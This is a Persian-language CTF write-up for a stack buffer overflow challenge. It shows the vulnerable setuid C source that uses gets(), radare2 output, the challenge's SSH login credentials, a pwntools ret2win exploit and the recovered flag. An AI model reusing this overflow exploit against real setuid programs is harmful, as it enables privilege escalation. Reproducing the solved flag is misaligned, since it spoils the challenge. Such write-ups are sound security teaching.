چالش سیستم‌عامل دوم: خرید روزانه

توضیحات

کاغذ یادداشت خریدها را گم کرده‌ام. چه چیزی باید می‌خریدم؟
اطلاعات ورود:

ssh -p 8025 user1@86.104.33.87
password: Y2MyZTJjN2YxYTdiZjdjNmJiNGQyYTI

حل چالش

در این چالش پس از اتصال ssh دو فایل می‌بینییم و به نظر می‌رسد که روش حل سوال اکسپلویت فایل باینری است. قبل از اینکه فایل را برای بررسی باز کنیم دقت می‌کنیم که این فایل نیز با فلگ setuid قرار گرفته است.

-r-sr-xr-x 1 flag  flag  17024 Feb 10 00:13 code

کد این فایل نیز برای سادگی در سرور قرار دارد. در واقع در صورت عدم وجود آن باید یک مرحله مهندسی معکوس انجام شود که برای این سوال با داشتن کد منبع لازم نیست.

کد این سوال به شکل زیر است:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void notCallMe() {
    char *envp[] = { NULL };
    char *argv[] = {"/bin/cat", "/home/flag/flag.txt", NULL};
    execve("/bin/cat", argv, envp);
}

void callMe() {
    char buffer[64];
    printf("%p\n", *notCallMe);
    fflush(stdout);
    gets(buffer);
}

int main(int argc, char** argv) {
    callMe();

    printf("Exiting...\n");
    exit(0);
}

همان‌طور که مشخص است کد ساده‌ای است که دو تابع دارد که یکی پرچم را می‌خواند و البته در برنامه‌ی اصلی صدا زده نشده است و دومین تابع که آدرس تابع اول را چاپ می‌کند صدا زده شده است.

بنابراین برای حل باید از آسیب‌پذیری سرریز بافر در تابع callMe که به دلیل فراخوانی تابع ناامن gets() وجود دارد، استفاده کنیم و سپس روند اجرای برنامه را تغییر داده و تابع notCallMe را صدا بزنیم.

قبل از آن نیاز داریم سازوکارهای امنیتی این فایل را بررسی کنیم. برای این کار ابتدا فایل را در سیستم خودمان کپی می‌کنیم:

scp -P 8025 user1@86.104.33.87:~/code ~/parcham/os2

سپس با استفاده از رادار اطلاعات فایل را می‌خوانیم:

$ radare2 code 
 -- radare2 is like windows 7 but even better.
[0x00001100]> iI
arch     x86
baddr    0x0
binsz    15033
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      true
relocs   true
relro    full
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

همان‌طور که می‌بینیم مقدار canary تنظیم نشده است. پس می‌توان یک اکسپلویت ساده نوشت هم‌چنین با یک فایل باینری ۶۴ بیتی مواجه هستیم.

در نهایت برای اطمینان از ساختار برنامه و اندازه‌ی بافر به سراغ باینری می‌رویم و دستورات زیر را اجرا می‌کنیم تا مطمئن باشیم اندازه‌ی بافر چقدر باید باشد:


[0x00001100]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00001100]> afl
0x00001100    1 46           entry0
0x00001130    4 41   -> 34   sym.deregister_tm_clones
0x00001160    4 57   -> 51   sym.register_tm_clones
0x000011a0    5 57   -> 54   sym.__do_global_dtors_aux
0x00001090    1 11           sym..plt.got
0x000011e0    1 9            entry.init0
0x00001000    3 27           sym._init
0x00001320    1 5            sym.__libc_csu_fini
0x000011e9    1 76           sym.notCallMe
0x000010c0    1 11           sym.imp.execve
0x00001328    1 13           sym._fini
0x000012b0    4 101          sym.__libc_csu_init
0x0000127c    1 51           main
0x00001235    1 71           sym.callMe
0x000010b0    1 11           sym.imp.printf
0x000010e0    1 11           sym.imp.fflush
0x000010d0    1 11           sym.imp.gets
0x000010a0    1 11           sym.imp.puts
0x000010f0    1 11           sym.imp.exit
[0x00001100]> sf sym.callMe
[0x00001235]> pd
pd?       pd        pd--      pda       pdb       pdc       pdC       pdf       pdi       pdj       pdJ       pdk       
pdl       pdp       pdr       pdr.      pdR       pds?      pds       pdsb      pdsf      pdt       pdd       pdd?      
pdd*      pdda      pddb      pddc      pddf      pddi      pdds      pddu      
[0x00001235]> pdf
            ; CALL XREF from main @ 0x1294
┌ 71: sym.callMe ();
│           ; var int64_t var_40h @ rbp-0x40
│           0x00001235      f30f1efa       endbr64
│           0x00001239      55             push rbp
│           0x0000123a      4889e5         mov rbp, rsp
│           0x0000123d      4883ec40       sub rsp, 0x40
│           0x00001241      488d35a1ffff.  lea rsi, [sym.notCallMe]    ; 0x11e9
│           0x00001248      488d3dd20d00.  lea rdi, [0x00002021]       ; "%p\n"
│           0x0000124f      b800000000     mov eax, 0
│           0x00001254      e857feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00001259      488b05b02d00.  mov rax, qword [obj.stdout] ; obj.__TMC_END
│                                                                      ; [0x4010:8]=0
│           0x00001260      4889c7         mov rdi, rax
│           0x00001263      e878feffff     call sym.imp.fflush         ; int fflush(FILE *stream)
│           0x00001268      488d45c0       lea rax, [var_40h]
│           0x0000126c      4889c7         mov rdi, rax
│           0x0000126f      b800000000     mov eax, 0
│           0x00001274      e857feffff     call sym.imp.gets           ; char *gets(char *s)
│           0x00001279      90             nop
│           0x0000127a      c9             leave
└           0x0000127b      c3             ret
[0x00001235]>

طول بافر ۴۰ بایت هگزادسیمال یا همان ۶۴ بایت است.
پس مقداری که برای رونویسی این بافر نیاز داریم به شکل زیر است:

payload = [64 bytes junk for buffer] + [8 bytes to wtire old rbp] + [address of notCallMe]

دقت می‌کنیم که آدرس تابع notCallMe در هر بار اجرا تغییر می‌کند ولی همان آدرس در فراخوانی callMe به کاربر ارائه می‌شود.

مهم‌ترین چالش این است که خروجی این تابع را بخوانیم و سپس همزمان همین خروجی را استفاده کرده تا رشته‌ای را بسازیم و به برنامه ارسال کنیم. راه پیشنهادی ما این است:

sshpass -p Y2MyZTJjN2YxYTdiZjdjNmJiNGQyYTI ssh -p 8025 user1@86.104.33.87 ./code

با نصب این ابزار می‌توانید با ارسال همزمان گذرواژه خروجی اجرای کد را ببینید. البته حتما بررسی کنید که خروجی هشدار چند خط است. مثلا در اینجا سه خط خروجی می‌گیریم که فقط خط آخر برای ما مهم است و در واقع آدرس تابع است.

در نهایت یک اسکریپت پایتون می‌نویسم و پرچم را به دست می‌آوریم. ما از اسکریپت زیر استفاده کرده‌ایم:

from pwn import *
cmd = 'sshpass -p Y2MyZTJjN2YxYTdiZjdjNmJiNGQyYTI ssh -p 8025 user1@86.104.33.87 ./code'
io = process(cmd, True)
x = io.recvline()
x = io.recvline()
x = io.recvline()

io.sendline(b'a'*(64+8) + p64(int(x, 16)))
print(io.recvall())

با اجرای آن به صورت محلی به خروجی زیر رسیدیم:

$ python3 t.py 
[+] Starting local process '/bin/sh': pid 32625
[+] Receiving all data: Done (42B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 32625)
b'parcham{5654794b7e0e5b4a75e07fa7b515b295}\n'